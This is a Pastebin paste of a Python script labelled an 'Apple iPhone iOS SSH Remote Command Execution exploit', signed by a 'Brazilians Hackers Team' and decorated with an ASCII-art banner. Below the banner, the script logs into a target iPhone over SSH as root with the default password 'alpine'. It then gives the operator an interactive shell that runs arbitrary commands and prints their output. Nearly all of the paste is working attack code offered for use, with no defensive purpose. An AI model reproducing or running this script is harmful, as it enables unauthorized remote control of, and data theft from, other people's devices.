Guest User

Untitled

a guest
Jul 16th, 2018
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.76 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import paramiko
  4. import sys,time
  5. import os
  6. os.system("clear")
  7. iphoneip = sys.argv[1]
  8. print " \n"
  9. print " ``;` "
  10. print " `,+@@@+ "
  11. print " .+@@@@@@@; "
  12. print " `;@@@@@@@@@@@ "
  13. print " +@@@@@@@@@@@@@: "
  14. print " ;@@@@@@@@@@@@@@@@ "
  15. print " `@@@@@@@@@@@@@@@@@@` "
  16. print " `@@@@@@@@@@@@@@@@@@# "
  17. print " .@@@@@@@@@@@@@@@@@@, "
  18. print " :@@@@@@@@@@@@@@@@@@ .'@@ "
  19. print " #@@@@@@@@@@@@@@@@+; .+@@@@@ "
  20. print " `@@@@@@@@@@@@@#;;+@+#@@@#:` "
  21. print " #@@@@@@@@@@';'@@@@@@@:` "
  22. print " `@@@@@@@+;;+@@@@@##` "
  23. print " .@@@#;;+@@@@@#+',.,'. "
  24. print " +;;'#@@@@#+;` ,: "
  25. print " .#@@@@#++: @. ...` "
  26. print " `'@@@@#++'. + .#++;;+ + "
  27. print " ,@@@@@#++:``::+ `',:+,. , "
  28. print " `@@@@#, #+` ',.`'. +` `` `, .+ "
  29. print " @@:` ,+. ,`:``.: '. .',+++ # "
  30. print " `` #+`++,.`:,`` :`+@@'@@@@' ```` "
  31. print " #'`#+:`.,`:` .@@@+@# +`. : `: *** Brazilians Hackers Team *** "
  32. print " #:: +.`,.., `@@,#@':. + : ' "
  33. print " #: ` ',:`,, @#`` + + ' `,; "
  34. print " #: ` `:''` @` #:.. , ' #+++: Cod3D By ./ChmoD"
  35. print " #: , ;#'# + : `: #++ "
  36. print " #; ' `'' , '. "
  37. print " ;' ' # `@# Skype: BrazilObscure"
  38. print " #.; ;` ,#.:; "
  39. print " `+; '. @ ` "
  40. print " :#; `@: :` `, "
  41. print " .#+; `'+.' + "
  42. print " .@++#'+@+@++` ;@. ' "
  43. print " `' ., ` #:`# `+.#+ :. "
  44. print " ., : @#;.`;`: `#@. "
  45. print " +``,.;`@+,. '# "
  46. print " @' ' ;`@:+`#`;` "
  47. print " `#+ ,'`# :. ' "
  48. print " ' #. :`#` '`. + "
  49. print " # +. .:+: :`. . "
  50. print " `, +, ..+ '` : "
  51. print " ;` #+@:,:#.;`` ' "
  52. print " #'##:#+. : `; ; "
  53. print " #. #: `'` : "
  54. print " #, ` . \n"
  55.  
  56. print "=================================================================="
  57. print "= Apple iPhone iOS SSH Remote Command Execution exploit ="
  58. print "==================================================================\n"
  59.  
  60. #def usage():
  61. # if len(sys.argv) != 2:
  62. # print "Modo De Usar: ./Exploit.py <ip_iphone> \n"
  63. # sys.exit(1)
  64.  
  65. def exploit(iphoneip,cmd):
  66. ssh = paramiko.SSHClient()
  67. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  68. ssh.connect(iphoneip,username='root',password='alpine')
  69. stdin, stdout, stderr = ssh.exec_command(cmd)
  70. resp = stdout.readlines()
  71. print resp
  72. ssh.close()
  73.  
  74.  
  75. #usage()
  76. time.sleep(1.3)
  77. cmd = " "
  78. while (cmd != "quit"):
  79. try:
  80. cmd = raw_input("shell:~# ")
  81. exploit(iphoneip,cmd)
  82. except KeyboardInterrupt:
  83. print "\nSaindo . . \n"
  84. sys.exit(1)
Add Comment
Please, Sign In to add comment